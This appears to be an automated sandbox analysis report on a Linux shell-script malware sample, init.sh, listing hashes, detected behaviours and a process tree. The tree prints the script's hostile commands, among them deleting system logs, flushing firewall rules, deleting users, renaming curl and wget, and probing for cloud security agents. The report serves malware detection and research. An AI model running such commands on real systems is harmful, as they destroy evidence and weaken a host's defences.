Analysis
-
max time kernel
14597s -
max time network
96s -
platform
linux_mipsel -
resource
debian9-mipsel -
submitted
07-05-2021 14:38
Static task
static1
Behavioral task
behavioral1
Sample
init.sh
Resource
ubuntu-amd64
Behavioral task
behavioral2
Sample
init.sh
Resource
debian9-mipsel
Behavioral task
behavioral3
Sample
init.sh
Resource
debian9-mipsbe
General
-
Target
init.sh
-
Size
39KB
-
MD5
cbdc3a5c3a3c4bca9d4f71b2f5a285ee
-
SHA1
d7130c8513e095516e5d5a9d51f5d5c4777151b5
-
SHA256
fe0816092e006960f2261a3fa919b577aa392291bb0a11149805c651ac633909
-
SHA512
00d2df9ba288e712bfe2577d9209311d6347e1a0fcf9137938619a8cda3401bd814672f5f9a6691417a5d6c721e9f856463195b1daed164034e677697a4cd890
Malware Config
Signatures
-
Deletes system logs 1 TTPs 14 IoCs
Processes:
update-alternativesdpkgdpkgapt-getdpkgapt-getdpkgdpkgrmdpkgdescription ioc process /var/log/alternatives.log /var/log/alternatives.log update-alternatives /var/log/dpkg.log /var/log/dpkg.log dpkg /var/log/dpkg.log /var/log/dpkg.log dpkg /var/log/apt/history.log /var/log/apt/history.log apt-get /var/log/dpkg.log /var/log/dpkg.log dpkg /var/log/apt/term.log /var/log/apt/term.log apt-get /var/log/apt/history.log /var/log/apt/history.log apt-get /var/log/dpkg.log /var/log/dpkg.log dpkg /var/log/dpkg.log /var/log/dpkg.log dpkg /var/log/syslog /var/log/syslog rm /var/log/apt/eipp.log.xz /var/log/apt/eipp.log.xz apt-get /var/log/apt/term.log /var/log/apt/term.log apt-get /var/log/dpkg.log /var/log/dpkg.log dpkg /var/log/apt/eipp.log.xz /var/log/apt/eipp.log.xz apt-get -
Writes file to system bin folder 1 TTPs 1 IoCs
-
Modifies hosts file 2 IoCs
Adds to hosts file used for mapping hosts to IP addresses.
Processes:
httphttpdescription ioc process /etc/hosts /etc/hosts http /etc/hosts /etc/hosts http -
Writes DNS configuration 1 TTPs 2 IoCs
Writes data to DNS resolver config file.
Processes:
httphttpdescription ioc process /etc/resolv.conf /etc/resolv.conf http /etc/resolv.conf /etc/resolv.conf http -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
-
Write file to user bin folder 1 TTPs 20 IoCs
Processes:
dpkgchattrchattrinit.shchattrdpkg-preconfiguredpkg-preconfigurechattrchattrdpkgchattrdescription ioc process /usr/sbin/unhide-posix.dpkg-new /usr/sbin/unhide-posix.dpkg-new dpkg /usr/bin/rctlcli /usr/bin/rctlcli chattr /usr/bin/pamdicks /usr/bin/pamdicks chattr /usr/sbin/unhide_rb.dpkg-new /usr/sbin/unhide_rb.dpkg-new dpkg /usr/bin/irqbalanced /usr/bin/irqbalanced init.sh /usr/bin/rctlcli /usr/bin/rctlcli init.sh /usr/bin/kswaped /usr/bin/kswaped chattr /usr/sbin/dpkg-preconfigure /usr/sbin/dpkg-preconfigure dpkg-preconfigure /usr/sbin/unhide-tcp.dpkg-new /usr/sbin/unhide-tcp.dpkg-new dpkg /usr/sbin/dpkg-preconfigure /usr/sbin/dpkg-preconfigure dpkg-preconfigure /usr/bin/ip6network /usr/bin/ip6network init.sh /usr/bin/systemd-network /usr/bin/systemd-network init.sh /usr/bin/pamdicks /usr/bin/pamdicks init.sh /usr/bin/ip6network /usr/bin/ip6network chattr /usr/bin/systemd-network /usr/bin/systemd-network chattr /usr/sbin/unhide-linux.dpkg-new /usr/sbin/unhide-linux.dpkg-new dpkg /usr/bin/gawk.dpkg-new /usr/bin/gawk.dpkg-new dpkg /usr/bin/igawk.dpkg-new /usr/bin/igawk.dpkg-new dpkg /usr/bin/kswaped /usr/bin/kswaped init.sh /usr/bin/irqbalanced /usr/bin/irqbalanced chattr -
Reads CPU attributes 1 TTPs 64 IoCs
Processes:
pspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspspskillpspspspspspspspspspsdescription ioc process /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online kill /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps -
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
Processes:
psunhidepspspspspspspspspspspspspspspspspspspspspspspspspspsdescription ioc process /proc/219/stat /proc/219/stat ps /proc/10756 /proc/10756 unhide /proc/26903 /proc/26903 unhide /proc/246/status /proc/246/status ps /proc/4398 /proc/4398 unhide /proc/11545 /proc/11545 unhide /proc/17039 /proc/17039 unhide /proc/615 /proc/615 unhide /proc/31285 /proc/31285 unhide /proc/24/status /proc/24/status ps /proc/20328 /proc/20328 unhide /proc/21358 /proc/21358 unhide /proc/22733 /proc/22733 unhide /proc/71/stat /proc/71/stat ps /proc/12965 /proc/12965 unhide /proc/15043 /proc/15043 unhide /proc/17/status /proc/17/status ps /proc/22/status /proc/22/status ps /proc/69/task/69/status /proc/69/task/69/status ps /proc/16470 /proc/16470 unhide /proc/310/status /proc/310/status ps /proc/25160 /proc/25160 unhide /proc/15/cmdline /proc/15/cmdline ps /proc/71/status /proc/71/status ps /proc/6422 /proc/6422 unhide /proc/19511 /proc/19511 unhide /proc/309/stat /proc/309/stat ps /proc/478/status /proc/478/status ps /proc/28548 /proc/28548 unhide /proc/79/status /proc/79/status ps /proc/246/status /proc/246/status ps /proc/246/stat /proc/246/stat ps /proc/28999 /proc/28999 unhide /proc/30560 /proc/30560 unhide /proc/24/stat /proc/24/stat ps /proc/22/status /proc/22/status ps /proc/uptime /proc/uptime ps /proc/215/task/226/status /proc/215/task/226/status ps /proc/24268 /proc/24268 unhide /proc/5753 /proc/5753 unhide /proc/13500 /proc/13500 unhide /proc/76/cmdline /proc/76/cmdline ps /proc/8089 /proc/8089 unhide /proc/8893 /proc/8893 unhide /proc/10937 /proc/10937 unhide /proc/15273 /proc/15273 unhide /proc/29632 /proc/29632 unhide /proc/32160 /proc/32160 unhide /proc/2/stat /proc/2/stat ps /proc/73/status /proc/73/status ps /proc/1167 /proc/1167 unhide /proc/1740 /proc/1740 unhide /proc/11932 /proc/11932 unhide /proc/27301 /proc/27301 unhide /proc/27481 /proc/27481 unhide /proc/13/cmdline /proc/13/cmdline ps /proc/11/stat /proc/11/stat ps /proc/550/stat /proc/550/stat ps /proc/6440 /proc/6440 unhide /proc/18005 /proc/18005 unhide /proc/255/cmdline /proc/255/cmdline ps /proc/105/cmdline /proc/105/cmdline ps /proc/18/stat /proc/18/stat ps /proc/11366 /proc/11366 unhide -
Writes file to tmp directory 29 IoCs
Malware often drops required files in the /tmp directory.
Processes:
rmapt-getrmapt-getapt-extracttemplatesapt-extracttemplatesrmchattrrmdescription ioc process /tmp/keys /tmp/keys rm /tmp/fileutl.message.j1Wo8s /tmp/fileutl.message.j1Wo8s apt-get /tmp/addres* /tmp/addres* rm /tmp/fileutl.message.W2Pfwi /tmp/fileutl.message.W2Pfwi apt-get /tmp/fileutl.message.2ZgjQE /tmp/fileutl.message.2ZgjQE apt-get /tmp/fileutl.message.S7A7o5 /tmp/fileutl.message.S7A7o5 apt-extracttemplates /tmp/fileutl.message.OZaGXd /tmp/fileutl.message.OZaGXd apt-extracttemplates /tmp/fileutl.message.3c2dPj /tmp/fileutl.message.3c2dPj apt-get /tmp/fileutl.message.d76lrY /tmp/fileutl.message.d76lrY apt-extracttemplates /tmp/fileutl.message.KjnGGi /tmp/fileutl.message.KjnGGi apt-get /tmp/fileutl.message.ayklae /tmp/fileutl.message.ayklae apt-get /tmp/fileutl.message.uzT3bG /tmp/fileutl.message.uzT3bG apt-extracttemplates /tmp/fileutl.message.MZGi1s /tmp/fileutl.message.MZGi1s apt-get /tmp/fileutl.message.QCNCj3 /tmp/fileutl.message.QCNCj3 apt-get /tmp/fileutl.message.RrxJuO /tmp/fileutl.message.RrxJuO apt-get /tmp/fileutl.message.M3N5DF /tmp/fileutl.message.M3N5DF apt-get /tmp/fileutl.message.MjiXty /tmp/fileutl.message.MjiXty apt-extracttemplates /tmp/fileutl.message.wwWdIv /tmp/fileutl.message.wwWdIv apt-get /tmp/.null /tmp/.null rm /tmp/fileutl.message.rivYY5 /tmp/fileutl.message.rivYY5 apt-extracttemplates /tmp/fileutl.message.1ZRQEv /tmp/fileutl.message.1ZRQEv apt-get /tmp/fileutl.message.KHQw61 /tmp/fileutl.message.KHQw61 apt-extracttemplates /tmp/fileutl.message.I2xeWe /tmp/fileutl.message.I2xeWe apt-get /tmp/fileutl.message.yu3sye /tmp/fileutl.message.yu3sye apt-get /tmp/ /tmp/ chattr /tmp/walle* /tmp/walle* rm /tmp/fileutl.message.SCPR6T /tmp/fileutl.message.SCPR6T apt-get /tmp/fileutl.message.z33aTm /tmp/fileutl.message.z33aTm apt-extracttemplates /tmp/fileutl.message.pwn4jl /tmp/fileutl.message.pwn4jl apt-get
Processes
-
./init.sh./init.sh1⤵
- Write file to user bin folder
-
/bin/syncsync2⤵
-
/bin/catcat /var/spool/cron/2⤵
- Creates/modifies Cron job
-
/bin/catcat /root/.ssh/authorized_keys2⤵
-
/bin/mvmv /usr/bin/curl /usr/bin/url2⤵
-
/bin/mvmv /usr/bin/url /usr/bin/cdt2⤵
-
/bin/mvmv /usr/bin/cur /usr/bin/cdt2⤵
-
/bin/mvmv /usr/bin/cdl /usr/bin/cdt2⤵
-
/bin/mvmv /usr/bin/cd1 /usr/bin/cdt2⤵
-
/bin/mvmv /usr/bin/wget /usr/bin/get2⤵
-
/bin/mvmv /usr/bin/get /usr/bin/wdt2⤵
-
/bin/mvmv /usr/bin/wge /usr/bin/wdt2⤵
-
/bin/mvmv /usr/bin/wdl /usr/bin/wdt2⤵
-
/bin/mvmv /usr/bin/wd1 /usr/bin/wdt2⤵
-
/bin/rmrm -rf /var/log/syslog2⤵
- Deletes system logs
-
/usr/bin/chattrchattr -iua /tmp/2⤵
- Writes file to tmp directory
-
/usr/bin/chattrchattr -iua /var/tmp/2⤵
-
/sbin/iptablesiptables -F2⤵
-
/usr/sbin/userdeluserdel akay2⤵
-
/usr/sbin/userdeluserdel vfinder2⤵
-
/bin/rmrm -rf "/tmp/addres*"2⤵
- Writes file to tmp directory
-
/bin/rmrm -rf "/tmp/walle*"2⤵
- Writes file to tmp directory
-
/bin/rmrm -rf /tmp/keys2⤵
- Writes file to tmp directory
-
/bin/psps aux2⤵
-
/bin/grepgrep -i "[a]liyun"2⤵
-
/bin/psps aux2⤵
- Reads CPU attributes
-
/bin/grepgrep -i "[y]unjing"2⤵
-
/bin/sleepsleep 12⤵
-
/usr/bin/apt-getapt-get install -y unhide2⤵
- Deletes system logs
- Writes file to tmp directory
-
/usr/bin/dpkg/usr/bin/dpkg --print-foreign-architectures3⤵
-
/usr/bin/dpkg/usr/bin/dpkg --print-foreign-architectures3⤵
-
/usr/lib/apt/methods/http/usr/lib/apt/methods/http3⤵
-
/usr/lib/apt/methods/http/usr/lib/apt/methods/http3⤵
- Modifies hosts file
- Writes DNS configuration
-
/bin/sh/bin/sh -c "/usr/sbin/dpkg-preconfigure --apt || true"3⤵
-
/usr/sbin/dpkg-preconfigure/usr/sbin/dpkg-preconfigure --apt4⤵
- Write file to user bin folder
-
/usr/local/sbin/localelocale charmap5⤵
-
/usr/local/bin/localelocale charmap5⤵
-
/usr/sbin/localelocale charmap5⤵
-
/usr/bin/localelocale charmap5⤵
-
/usr/bin/dpkg/usr/bin/dpkg --assert-multi-arch3⤵
-
/usr/bin/dpkg/usr/bin/dpkg --status-fd 14 --no-triggers --unpack --auto-deconfigure /var/cache/apt/archives/unhide_20130526-1+deb9u1_mipsel.deb3⤵
- Deletes system logs
- Write file to user bin folder
-
/usr/local/sbin/dpkg-splitdpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/unhide_20130526-1+deb9u1_mipsel.deb4⤵
-
/usr/local/bin/dpkg-splitdpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/unhide_20130526-1+deb9u1_mipsel.deb4⤵
-
/usr/sbin/dpkg-splitdpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/unhide_20130526-1+deb9u1_mipsel.deb4⤵
-
/usr/bin/dpkg-splitdpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/unhide_20130526-1+deb9u1_mipsel.deb4⤵
-
/usr/local/sbin/dpkg-debdpkg-deb --control /var/cache/apt/archives/unhide_20130526-1+deb9u1_mipsel.deb /var/lib/dpkg/tmp.ci4⤵
-
/usr/local/bin/dpkg-debdpkg-deb --control /var/cache/apt/archives/unhide_20130526-1+deb9u1_mipsel.deb /var/lib/dpkg/tmp.ci4⤵
-
/usr/sbin/dpkg-debdpkg-deb --control /var/cache/apt/archives/unhide_20130526-1+deb9u1_mipsel.deb /var/lib/dpkg/tmp.ci4⤵
-
/usr/bin/dpkg-debdpkg-deb --control /var/cache/apt/archives/unhide_20130526-1+deb9u1_mipsel.deb /var/lib/dpkg/tmp.ci4⤵
-
/usr/local/sbin/tartar -x -f - "--warning=no-timestamp"5⤵
-
/usr/local/bin/tartar -x -f - "--warning=no-timestamp"5⤵
-
/usr/sbin/tartar -x -f - "--warning=no-timestamp"5⤵
-
/usr/bin/tartar -x -f - "--warning=no-timestamp"5⤵
-
/sbin/tartar -x -f - "--warning=no-timestamp"5⤵
-
/bin/tartar -x -f - "--warning=no-timestamp"5⤵
-
/usr/local/sbin/dpkg-debdpkg-deb --fsys-tarfile /var/cache/apt/archives/unhide_20130526-1+deb9u1_mipsel.deb4⤵
-
/usr/local/bin/dpkg-debdpkg-deb --fsys-tarfile /var/cache/apt/archives/unhide_20130526-1+deb9u1_mipsel.deb4⤵
-
/usr/sbin/dpkg-debdpkg-deb --fsys-tarfile /var/cache/apt/archives/unhide_20130526-1+deb9u1_mipsel.deb4⤵
-
/usr/bin/dpkg-debdpkg-deb --fsys-tarfile /var/cache/apt/archives/unhide_20130526-1+deb9u1_mipsel.deb4⤵
-
/usr/local/sbin/rmrm -rf -- /var/lib/dpkg/tmp.ci4⤵
-
/usr/local/bin/rmrm -rf -- /var/lib/dpkg/tmp.ci4⤵
-
/usr/sbin/rmrm -rf -- /var/lib/dpkg/tmp.ci4⤵
-
/usr/bin/rmrm -rf -- /var/lib/dpkg/tmp.ci4⤵
-
/sbin/rmrm -rf -- /var/lib/dpkg/tmp.ci4⤵
-
/bin/rmrm -rf -- /var/lib/dpkg/tmp.ci4⤵
-
/usr/bin/dpkg/usr/bin/dpkg --status-fd 14 --configure --pending3⤵
- Deletes system logs
-
/var/lib/dpkg/info/unhide.postinst/var/lib/dpkg/info/unhide.postinst configure4⤵
-
/usr/bin/dpkg/usr/bin/dpkg --print-foreign-architectures3⤵
-
/usr/bin/dpkg/usr/bin/dpkg --print-foreign-architectures3⤵
-
/usr/bin/dpkg/usr/bin/dpkg --print-foreign-architectures3⤵
-
/usr/bin/apt-getapt-get install -y gawk2⤵
- Deletes system logs
- Writes file to tmp directory
-
/usr/bin/dpkg/usr/bin/dpkg --print-foreign-architectures3⤵
-
/usr/bin/dpkg/usr/bin/dpkg --print-foreign-architectures3⤵
-
/usr/lib/apt/methods/http/usr/lib/apt/methods/http3⤵
-
/usr/lib/apt/methods/http/usr/lib/apt/methods/http3⤵
- Modifies hosts file
- Writes DNS configuration
-
/bin/sh/bin/sh -c "/usr/sbin/dpkg-preconfigure --apt || true"3⤵
-
/usr/sbin/dpkg-preconfigure/usr/sbin/dpkg-preconfigure --apt4⤵
- Write file to user bin folder
-
/usr/local/sbin/localelocale charmap5⤵
-
/usr/local/bin/localelocale charmap5⤵
-
/usr/sbin/localelocale charmap5⤵
-
/usr/bin/localelocale charmap5⤵
-
/usr/bin/dpkg/usr/bin/dpkg --assert-multi-arch3⤵
-
/usr/bin/dpkg/usr/bin/dpkg --status-fd 14 --no-triggers --unpack --auto-deconfigure /var/cache/apt/archives/libmpfr4_3.1.5-1_mipsel.deb /var/cache/apt/archives/libsigsegv2_2.10-5_mipsel.deb3⤵
- Deletes system logs
-
/usr/local/sbin/dpkg-splitdpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/libmpfr4_3.1.5-1_mipsel.deb4⤵
-
/usr/local/bin/dpkg-splitdpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/libmpfr4_3.1.5-1_mipsel.deb4⤵
-
/usr/sbin/dpkg-splitdpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/libmpfr4_3.1.5-1_mipsel.deb4⤵
-
/usr/bin/dpkg-splitdpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/libmpfr4_3.1.5-1_mipsel.deb4⤵
-
/usr/local/sbin/dpkg-debdpkg-deb --control /var/cache/apt/archives/libmpfr4_3.1.5-1_mipsel.deb /var/lib/dpkg/tmp.ci4⤵
-
/usr/local/bin/dpkg-debdpkg-deb --control /var/cache/apt/archives/libmpfr4_3.1.5-1_mipsel.deb /var/lib/dpkg/tmp.ci4⤵
-
/usr/sbin/dpkg-debdpkg-deb --control /var/cache/apt/archives/libmpfr4_3.1.5-1_mipsel.deb /var/lib/dpkg/tmp.ci4⤵
-
/usr/bin/dpkg-debdpkg-deb --control /var/cache/apt/archives/libmpfr4_3.1.5-1_mipsel.deb /var/lib/dpkg/tmp.ci4⤵
-
/usr/local/sbin/tartar -x -f - "--warning=no-timestamp"5⤵
-
/usr/local/bin/tartar -x -f - "--warning=no-timestamp"5⤵
-
/usr/sbin/tartar -x -f - "--warning=no-timestamp"5⤵
-
/usr/bin/tartar -x -f - "--warning=no-timestamp"5⤵
-
/sbin/tartar -x -f - "--warning=no-timestamp"5⤵
-
/bin/tartar -x -f - "--warning=no-timestamp"5⤵
-
/usr/local/sbin/dpkg-debdpkg-deb --fsys-tarfile /var/cache/apt/archives/libmpfr4_3.1.5-1_mipsel.deb4⤵
-
/usr/local/bin/dpkg-debdpkg-deb --fsys-tarfile /var/cache/apt/archives/libmpfr4_3.1.5-1_mipsel.deb4⤵
-
/usr/sbin/dpkg-debdpkg-deb --fsys-tarfile /var/cache/apt/archives/libmpfr4_3.1.5-1_mipsel.deb4⤵
-
/usr/bin/dpkg-debdpkg-deb --fsys-tarfile /var/cache/apt/archives/libmpfr4_3.1.5-1_mipsel.deb4⤵
-
/usr/local/sbin/rmrm -rf -- /var/lib/dpkg/tmp.ci4⤵
-
/usr/local/bin/rmrm -rf -- /var/lib/dpkg/tmp.ci4⤵
-
/usr/sbin/rmrm -rf -- /var/lib/dpkg/tmp.ci4⤵
-
/usr/bin/rmrm -rf -- /var/lib/dpkg/tmp.ci4⤵
-
/sbin/rmrm -rf -- /var/lib/dpkg/tmp.ci4⤵
-
/bin/rmrm -rf -- /var/lib/dpkg/tmp.ci4⤵
-
/usr/local/sbin/dpkg-splitdpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/libsigsegv2_2.10-5_mipsel.deb4⤵
-
/usr/local/bin/dpkg-splitdpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/libsigsegv2_2.10-5_mipsel.deb4⤵
-
/usr/sbin/dpkg-splitdpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/libsigsegv2_2.10-5_mipsel.deb4⤵
-
/usr/bin/dpkg-splitdpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/libsigsegv2_2.10-5_mipsel.deb4⤵
-
/usr/local/sbin/dpkg-debdpkg-deb --control /var/cache/apt/archives/libsigsegv2_2.10-5_mipsel.deb /var/lib/dpkg/tmp.ci4⤵
-
/usr/local/bin/dpkg-debdpkg-deb --control /var/cache/apt/archives/libsigsegv2_2.10-5_mipsel.deb /var/lib/dpkg/tmp.ci4⤵
-
/usr/sbin/dpkg-debdpkg-deb --control /var/cache/apt/archives/libsigsegv2_2.10-5_mipsel.deb /var/lib/dpkg/tmp.ci4⤵
-
/usr/bin/dpkg-debdpkg-deb --control /var/cache/apt/archives/libsigsegv2_2.10-5_mipsel.deb /var/lib/dpkg/tmp.ci4⤵
-
/usr/local/sbin/tartar -x -f - "--warning=no-timestamp"5⤵
-
/usr/local/bin/tartar -x -f - "--warning=no-timestamp"5⤵
-
/usr/sbin/tartar -x -f - "--warning=no-timestamp"5⤵
-
/usr/bin/tartar -x -f - "--warning=no-timestamp"5⤵
-
/sbin/tartar -x -f - "--warning=no-timestamp"5⤵
-
/bin/tartar -x -f - "--warning=no-timestamp"5⤵
-
/usr/local/sbin/dpkg-debdpkg-deb --fsys-tarfile /var/cache/apt/archives/libsigsegv2_2.10-5_mipsel.deb4⤵
-
/usr/local/bin/dpkg-debdpkg-deb --fsys-tarfile /var/cache/apt/archives/libsigsegv2_2.10-5_mipsel.deb4⤵
-
/usr/sbin/dpkg-debdpkg-deb --fsys-tarfile /var/cache/apt/archives/libsigsegv2_2.10-5_mipsel.deb4⤵
-
/usr/bin/dpkg-debdpkg-deb --fsys-tarfile /var/cache/apt/archives/libsigsegv2_2.10-5_mipsel.deb4⤵
-
/usr/local/sbin/rmrm -rf -- /var/lib/dpkg/tmp.ci4⤵
-
/usr/local/bin/rmrm -rf -- /var/lib/dpkg/tmp.ci4⤵
-
/usr/sbin/rmrm -rf -- /var/lib/dpkg/tmp.ci4⤵
-
/usr/bin/rmrm -rf -- /var/lib/dpkg/tmp.ci4⤵
-
/sbin/rmrm -rf -- /var/lib/dpkg/tmp.ci4⤵
-
/bin/rmrm -rf -- /var/lib/dpkg/tmp.ci4⤵
-
/usr/bin/dpkg/usr/bin/dpkg --status-fd 14 --no-triggers --configure libmpfr4:mipsel libsigsegv2:mipsel3⤵
- Deletes system logs
-
/usr/bin/dpkg/usr/bin/dpkg --status-fd 14 --no-triggers --unpack --auto-deconfigure "/var/cache/apt/archives/gawk_1%3a4.1.4+dfsg-1_mipsel.deb"3⤵
- Deletes system logs
- Write file to user bin folder
-
/usr/local/sbin/dpkg-splitdpkg-split -Qao /var/lib/dpkg/reassemble.deb "/var/cache/apt/archives/gawk_1%3a4.1.4+dfsg-1_mipsel.deb"4⤵
-
/usr/local/bin/dpkg-splitdpkg-split -Qao /var/lib/dpkg/reassemble.deb "/var/cache/apt/archives/gawk_1%3a4.1.4+dfsg-1_mipsel.deb"4⤵
-
/usr/sbin/dpkg-splitdpkg-split -Qao /var/lib/dpkg/reassemble.deb "/var/cache/apt/archives/gawk_1%3a4.1.4+dfsg-1_mipsel.deb"4⤵
-
/usr/bin/dpkg-splitdpkg-split -Qao /var/lib/dpkg/reassemble.deb "/var/cache/apt/archives/gawk_1%3a4.1.4+dfsg-1_mipsel.deb"4⤵
-
/usr/local/sbin/dpkg-debdpkg-deb --control "/var/cache/apt/archives/gawk_1%3a4.1.4+dfsg-1_mipsel.deb" /var/lib/dpkg/tmp.ci4⤵
-
/usr/local/bin/dpkg-debdpkg-deb --control "/var/cache/apt/archives/gawk_1%3a4.1.4+dfsg-1_mipsel.deb" /var/lib/dpkg/tmp.ci4⤵
-
/usr/sbin/dpkg-debdpkg-deb --control "/var/cache/apt/archives/gawk_1%3a4.1.4+dfsg-1_mipsel.deb" /var/lib/dpkg/tmp.ci4⤵
-
/usr/bin/dpkg-debdpkg-deb --control "/var/cache/apt/archives/gawk_1%3a4.1.4+dfsg-1_mipsel.deb" /var/lib/dpkg/tmp.ci4⤵
-
/usr/local/sbin/tartar -x -f - "--warning=no-timestamp"5⤵
-
/usr/local/bin/tartar -x -f - "--warning=no-timestamp"5⤵
-
/usr/sbin/tartar -x -f - "--warning=no-timestamp"5⤵
-
/usr/bin/tartar -x -f - "--warning=no-timestamp"5⤵
-
/sbin/tartar -x -f - "--warning=no-timestamp"5⤵
-
/bin/tartar -x -f - "--warning=no-timestamp"5⤵
-
/usr/local/sbin/dpkg-debdpkg-deb --fsys-tarfile "/var/cache/apt/archives/gawk_1%3a4.1.4+dfsg-1_mipsel.deb"4⤵
-
/usr/local/bin/dpkg-debdpkg-deb --fsys-tarfile "/var/cache/apt/archives/gawk_1%3a4.1.4+dfsg-1_mipsel.deb"4⤵
-
/usr/sbin/dpkg-debdpkg-deb --fsys-tarfile "/var/cache/apt/archives/gawk_1%3a4.1.4+dfsg-1_mipsel.deb"4⤵
-
/usr/bin/dpkg-debdpkg-deb --fsys-tarfile "/var/cache/apt/archives/gawk_1%3a4.1.4+dfsg-1_mipsel.deb"4⤵
-
/usr/local/sbin/rmrm -rf -- /var/lib/dpkg/tmp.ci4⤵
-
/usr/local/bin/rmrm -rf -- /var/lib/dpkg/tmp.ci4⤵
-
/usr/sbin/rmrm -rf -- /var/lib/dpkg/tmp.ci4⤵
-
/usr/bin/rmrm -rf -- /var/lib/dpkg/tmp.ci4⤵
-
/sbin/rmrm -rf -- /var/lib/dpkg/tmp.ci4⤵
-
/bin/rmrm -rf -- /var/lib/dpkg/tmp.ci4⤵
-
/usr/bin/dpkg/usr/bin/dpkg --status-fd 14 --configure --pending3⤵
- Deletes system logs
-
/var/lib/dpkg/info/gawk.postinst/var/lib/dpkg/info/gawk.postinst configure4⤵
-
/usr/bin/update-alternativesupdate-alternatives --quiet --install /usr/bin/awk awk /usr/bin/gawk 10 --slave /usr/share/man/man1/awk.1.gz awk.1.gz /usr/share/man/man1/gawk.1.gz --slave /usr/bin/nawk nawk /usr/bin/gawk --slave /usr/share/man/man1/nawk.1.gz nawk.1.gz /usr/share/man/man1/gawk.1.gz5⤵
- Deletes system logs
-
/var/lib/dpkg/info/libc-bin.postinst/var/lib/dpkg/info/libc-bin.postinst triggered ldconfig4⤵
-
/sbin/ldconfigldconfig5⤵
-
/usr/bin/dpkg/usr/bin/dpkg --print-foreign-architectures3⤵
-
/usr/bin/dpkg/usr/bin/dpkg --print-foreign-architectures3⤵
-
/usr/bin/dpkg/usr/bin/dpkg --print-foreign-architectures3⤵
-
/bin/sleepsleep 12⤵
-
/usr/sbin/unhide/usr/sbin/unhide quick2⤵
- Reads runtime system information
-
/bin/shsh -c "ps --no-header -p 1 o pid"3⤵
-
/bin/psps --no-header -p 1 o pid4⤵
-
